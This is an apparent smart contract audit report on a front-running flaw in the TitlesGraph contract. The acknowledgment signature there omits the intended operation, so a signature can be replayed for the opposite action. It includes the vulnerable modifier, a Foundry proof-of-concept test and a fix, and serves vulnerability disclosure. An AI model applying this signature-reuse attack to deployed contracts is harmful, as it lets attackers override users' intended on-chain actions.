Attractive Lavender Yeti

high

# The `TitlesGraph` contract is vulnerable to front-run attack

## Summary

The creator of the `to` Node can utilize an ECDSA signature to either acknowledge or unacknowledge an Edge. However, since the signature does not specify the intended operation (acknowledge or unacknowledge), a malicious user could front-run the *acknowledgment* function and use the ECDSA signature to either *acknowledge* or *unacknowledge* the edge, depending on their intention. This directly compromises the functionality of the acknowledgment function.

## Vulnerability Detail

The ECDSA signature only contains information about the `edgeId` and `data`, without specifying the intended acknowledge or unacknowledge operation. A malicious user could front-run the related functions (`acknowledgeEdge` and `unacknowledgeEdge` with signature) to execute the opposite operation, thereby breaking the intended functionality.

```solidity
    /// @notice Modified to check the signature for a proxied acknowledgment.
    modifier checkSignature(bytes32 edgeId, bytes calldata data, bytes calldata signature) {
        bytes32 digest = _hashTypedData(keccak256(abi.encode(ACK_TYPEHASH, edgeId, data)));
        if (
            !edges[edgeId].to.creator.target.isValidSignatureNowCalldata(digest, signature)
                || _isUsed[keccak256(signature)]
        ) {
            revert Unauthorized();
        }
        _;
        _isUsed[keccak256(signature)] = true;
    }
```

### POC

This is a simple test case: the creator intends to unacknowledge the Edge, but the malicious user front-runs it and uses the signature to acknowledge the Edge instead.

```diff
diff --git a/wallflower-contract-v2/test/graph/TitlesGraph.t.sol b/wallflower-contract-v2/test/graph/TitlesGraph.t.sol
index aa1f29d..36a8f6a 100644
--- a/wallflower-contract-v2/test/graph/TitlesGraph.t.sol
+++ b/wallflower-contract-v2/test/graph/TitlesGraph.t.sol
@@ -166,7 +166,44 @@ contract TitlesGraphTest is Test {
         emit IEdgeManager.EdgeAcknowledged(edge, address(this), "");
         titlesGraph.acknowledgeEdge(edgeId, new bytes(0), signer.SRSLY());
     }
+    function test_frontRun_unacknowledgeEdge() public {
+        Mock1271Signer signer = new Mock1271Signer();
+        bytes memory jtmb = signer.JTMB();
+
+        Edge memory edge = Edge({
+            from: Node({
+                nodeType: NodeType.COLLECTION_ERC1155,
+                entity: Target({target: address(this), chainId: block.chainid}),
+                creator: Target({target: address(2), chainId: block.chainid}),
+                data: ""
+            }),
+            to: Node({
+                nodeType: NodeType.TOKEN_ERC1155,
+                entity: Target({target: address(3), chainId: block.chainid}),
+                creator: Target({target: address(signer), chainId: block.chainid}),
+                data: abi.encode(42)
+            }),
+            acknowledged: true,
+            data: ""
+        });
+
+        // Create the edge
+        titlesGraph.createEdge(edge.from, edge.to, "");
+        bytes32 edgeId = titlesGraph.getEdgeId(edge);
+        // Acknowledge it
+        vm.prank(edge.to.creator.target);
+        titlesGraph.acknowledgeEdge(edgeId, new bytes(0));
+
+        // The edge.to.creator wants to unacknowledge the edge
+        // But a malicious attacker(0x100) could front-run it and leverage this signature to acknowledge the edge again
+        vm.prank(address(0x100));
+        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), jtmb);

+        // The unacknoledge will revert due to the signaure has been used
+        vm.expectRevert(Unauthorized.selector);
+        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), jtmb);
+
+    }
     function test_unacknowledgeEdge() public {
         Node memory from = Node({
             nodeType: NodeType.COLLECTION_ERC1155,
```

## Impact

The core functionality of the acknowledgment/unacknowledgment mechanism with ECDSA signatures is compromised.

## Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40-L50

## Tool used

Foundry

## Recommendation

Include the intended acknowledge operation in the signature.